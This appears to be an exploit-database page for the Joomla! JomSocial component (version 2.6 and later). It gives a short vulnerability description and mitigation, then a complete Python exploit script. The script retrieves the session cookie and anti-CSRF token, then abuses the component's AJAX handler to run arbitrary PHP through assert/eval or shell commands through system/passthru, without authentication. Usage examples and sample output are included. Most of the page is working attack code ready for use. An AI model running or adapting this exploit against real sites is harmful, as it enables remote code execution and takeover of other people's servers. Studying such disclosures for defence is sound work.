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vendor:
JomSocial component
by:
Matias Fontanini, Gaston Traberg
8,8
CVSS
HIGH
PHP code execution
78
CWE
Product Name: JomSocial component
Affected Version From: 2.6
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux, Windows, Mac
2018

Joomla! JomSocial component >= 2.6 PHP code execution exploit

This exploit allows the execution of PHP code without any prior authentication on the Joomla! JomSocial component. Note that in order to be able to execute PHP code, both the "eval" and "assert" functions must be enabled. It is also possible to execute arbitrary PHP functions, without using them. Therefore, it is possible to execute shell commands using "system", "passthru", etc, as long as they are enabled.

Mitigation:

Disable the "eval" and "assert" functions, and any other functions that can be used to execute arbitrary code.
Source

Exploit-DB raw data:

#!/usr/bin/python
#
# Joomla! JomSocial component >= 2.6 PHP code execution exploit
#
# Authors:
#   - Matias Fontanini
#   - Gaston Traberg
#
# This exploit allows the execution of PHP code without any prior 
# authentication on the Joomla! JomSocial component.
#
# Note that in order to be able to execute PHP code, both the "eval" 
# and "assert" functions must be enabled. It is also possible to execute
# arbitrary PHP functions, without using them. Therefore, it is possible
# to execute shell commands using "system", "passthru", etc, as long
# as they are enabled.
#
# Examples:
#
# Execute PHP code:
# ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"
# ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php
# 
# Execute shell commands(using system()):
# ./exploit.py -u http://example.com/index.php -s "netstat -n"
#
# Exploit shell commands(using a user provided function, passthru in this case)
# ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru
#
# Exploit execution example:
# $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'
# [i] Retrieving cookies and anti-CSRF token... Done
# [+] Executing PHP code...
# string(12) "Hello World!"

import urllib, urllib2, re, argparse, sys, os

class Exploit:
    token_request_data = 'option=com_community&view=frontpage'
    exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]'
    json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}'
    
    def __init__(self, url, user_agent = None, use_eval = True):
        self.url = url
        self._set_user_agent(user_agent)
        self.use_eval = use_eval
        self.token_regex = re.compile('<input type=\"hidden\" name=\"([\w\d]{32})\" value=\"1\" \/>')
        self.cookie, self.token = self._retrieve_token()
        self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\"><br>(.*)<div id=\\\\"avatar-upload\\\\">', re.DOTALL)
        self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL)
    
    def _set_user_agent(self, user_agent):
        self.user_agent = user_agent
    
    def _make_opener(self, add_cookie = True):
        opener = urllib2.build_opener()
        if add_cookie:
            opener.addheaders.append(('Cookie', self.cookie))
        opener.addheaders.append(('Referer', self.url))
        if self.user_agent:
            opener.addheaders.append(('User-Agent', self.user_agent))
        return opener
    
    def _retrieve_token(self):
        opener = self._make_opener(False)
        sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ')
        sys.stdout.flush()
        req = opener.open(self.url, Exploit.token_request_data)
        data = req.read()
        token = self.token_regex.findall(data)
        if len(token) < 1:
            print 'Failed'
            raise Exception("Could not retrieve anti-CSRF token")
        print 'Done'
        return (req.headers['Set-Cookie'], token[0])

    def _do_call_function(self, function, parameter):
        parameter = parameter.replace('"', '\\"')
        json_data = Exploit.json_data.format(function, parameter)
        json_data = urllib2.quote(json_data)
        data = Exploit.exploit_request_data.format(self.token, json_data)
        opener = self._make_opener()
        req = opener.open(self.url, data)
        if function == 'assert':
            return req.read()
        elif function in ['system', 'passthru']:
            result = self.command_regex.findall(req.read())
            if len(result) == 1:
                return result[0]
            else:
                return "[+] Error executing command."
        else:
            result = self.result_regex.findall(req.read())
            if len(result) == 1:
                return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n')
            else:
                return "[+] Error executing command."
    
    def call_function(self, function, parameter):
        if self.use_eval:
            return self.eval("echo {0}('{1}')".format(function, parameter))
        else:
            return self._do_call_function(function, parameter)
    
    def disabled_functions(self):
        return self.call_function("ini_get", "disable_functions")

    def test_injection(self):
        result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';")
        if 'HELLO - WORLD' in result:
            print "[+] Code injection using eval works"
        else:
            print "[+] Code injection doesn't work. Try executing shell commands."

    def eval(self, code):
        if code [-1] != ';':
            code = code + ';'
        return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', '')))
    


parser = argparse.ArgumentParser(
    description="JomSocial >= 2.6 - Code execution exploit"
)
parser.add_argument('-u', '--url', help='the base URL', required=True)
parser.add_argument(
    '-p', 
    '--php-code', 
    help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from')
parser.add_argument('-s', '--shell-command', help='the shell command to execute')
parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system")
parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False)
parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True)

args = parser.parse_args() 
if not args.test and not args.php_code and not args.shell_command:
    print '[-] Need -p, -t or -s to do something...'
    exit(1)
url = args.url
try:
    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url
    exploit = Exploit(url, use_eval=args.no_eval)
    if args.test:
        exploit.test_injection()
    elif args.php_code:
        code = args.php_code
        if args.php_code == '-':
            print '[i] Enter the code to be executed:'
            code = sys.stdin.read()
        elif os.path.isfile(code):
            try:
                fd = open(code)
                code = fd.read()
                fd.close()
            except Exception:
                print "[-] Error reading the file."
                exit(1)
        print '[+] Executing PHP code...'
        print exploit.eval(code)
    elif args.shell_command:
        print exploit.call_function(args.shell_function, args.shell_command)
except Exception as ex:
    print '[+] Error: ' + str(ex)